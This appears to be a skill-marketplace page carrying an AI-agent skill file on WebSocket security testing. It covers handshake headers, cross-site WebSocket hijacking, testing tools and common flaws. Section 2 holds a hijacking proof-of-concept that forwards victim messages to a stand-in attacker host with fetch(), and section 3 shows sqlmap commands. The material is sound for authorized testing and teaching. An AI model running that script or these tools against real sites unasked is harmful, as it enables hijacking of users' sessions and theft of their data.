websocket-security

Original：🇺🇸 English
Translated

WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.

18installs
Sourceyaklang/hack-skills
Added on

NPX Install

npx skill4agent add yaklang/hack-skills websocket-security

Tags

Translated version includes tags in frontmatter
websocket-securitycswshpenetration-testingsecurity-testingburp-suite

SKILL.md Content

View Translation Comparison →

SKILL: WebSocket Security

AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:
http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
Server success response indicators:
http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
中文路由提示：在 Burp/浏览器 DevTools 里筛 
101
与 
Upgrade: websocket
；深度 API 测试从 
api-sec
技能对齐认证与授权模型。

1. PROTOCOL BASICS

Client request (typical)

  • Upgrade: websocket
     and 
    Connection: Upgrade
     — required upgrade handshake.
  • Sec-WebSocket-Key
     — base64 nonce; server hashes with magic GUID and responds with 
    Sec-WebSocket-Accept
    .
  • Sec-WebSocket-Version: 13
     — current standard version for browser interoperability.

Server response

  • HTTP/1.1 101 Switching Protocols
     — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
Minimal conceptual flow:
text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

  • The server does not validate 
    Origin
     (or equivalent binding) on the WebSocket handshake, and
  • The victim has an active session (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Proof-of-concept pattern (laboratory / authorized target only)

javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
Testing notes: Confirm whether 
Origin
 is checked, whether cookies are sent (
SameSite
rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.

3. TESTING WITH TOOLS

wsrepl

bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

  • SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
  • WebSocket Turbo Intruder — high-rate or scripted message fuzzing.

4. COMMON VULNERABILITIES

IssueWhy it matters
Missing 
Origin
 validation		Enables CSWSH from attacker-controlled pages
Auth token in URL (
wss://host/ws?token=...
)		Logs, proxies, Referer leakage, browser history
No rate limiting on messagesAbuse, brute force, DoS
ws://
instead of 
wss://
Cleartext on the wire (MITM)
Injection in message bodiesSQLi, command injection, or XSS if content is stored/reflected elsewhere
Example sensitive URL anti-pattern:
text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.

5. DECISION TREE

  1. Identify endpoint — From JS bundles, Swagger, or 
    101
    responses; note 
    wss
    vs 
    ws
    .
  2. Handshake review — Are 
    Origin
    , Host, and Cookie policies correct? Any token in query string?
  3. Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
  4. CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
  5. Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
  6. Transport — Flag 
    ws://
     in production; verify TLS and HSTS alignment.

6. RELATED ROUTING

  • From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.
中文：WebSocket 常与 REST 共用会话与权限模型；从 
api-sec
对齐同一后端的认证与资源边界。